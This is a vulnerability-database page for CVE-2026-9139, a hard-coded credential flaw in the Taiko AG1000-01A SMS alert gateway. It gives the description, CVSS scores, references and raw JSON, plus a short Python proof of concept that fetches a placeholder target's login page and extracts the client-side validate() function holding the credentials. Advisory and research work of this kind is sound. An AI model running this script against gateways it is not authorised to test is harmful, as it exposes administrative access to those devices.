CVE-2026-9139

Description

Taiko AG1000-01A SMS Alert Gateway Rev 7.3 and Rev 8 contains a hard-coded credential vulnerability in the embedded web configuration interface where authentication is implemented entirely in client-side JavaScript in login.zhtml, exposing static plaintext credentials in the page source. Unauthenticated attackers with network access can recover administrative credentials directly from the client-side validate() function to obtain full administrative access to the device.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Taiko AG1000-01A Rev 7.3

Taiko AG1000-01A Rev 8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-9139: Hard-coded credentials in login.zhtml
import requests
import re

target_url = "http://<target_ip>/login.zhtml"

try:
    response = requests.get(target_url)
    if response.status_code == 200:
        # Search for the validate function or specific credential patterns in the source
        # Based on description, credentials are in plaintext in client-side JS
        matches = re.findall(r'validate\(.*?\)', response.text, re.DOTALL)
        if matches:
            print("[+] Potential validate function found:")
            print(matches[0])
            print("\n[+] Please manually inspect the function output for hardcoded credentials (username/password).")
        else:
            print("[-] Could not find validate function. Manual inspection required.")
    else:
        print(f"[-] Failed to fetch page. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9139
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9139
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9139/
[4] VulDB https://vuldb.com/cve/CVE-2026-9139
[5] https://medium.com/@forgetmen0t/multiple-vulnerabilities-in-taiko-ag1000-01a-sms-alert-gateway-82095b1d633e
[6] https://www.vulncheck.com/advisories/taiko-ag1000-01a-rev-8-hard-coded-credentials-via-login-zhtml

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9139", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:46.323", "lastModified": "2026-05-20T20:16:46.323", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Taiko AG1000-01A SMS Alert Gateway Rev 7.3 and Rev 8 contains a hard-coded credential vulnerability in the embedded web configuration interface where authentication is implemented entirely in client-side JavaScript in login.zhtml, exposing static plaintext credentials in the page source. Unauthenticated attackers with network access can recover administrative credentials directly from the client-side validate() function to obtain full administrative access to the device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://medium.com/@forgetmen0t/multiple-vulnerabilities-in-taiko-ag1000-01a-sms-alert-gateway-82095b1d633e", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/taiko-ag1000-01a-rev-8-hard-coded-credentials-via-login-zhtml", "source": "[email protected]"}]}}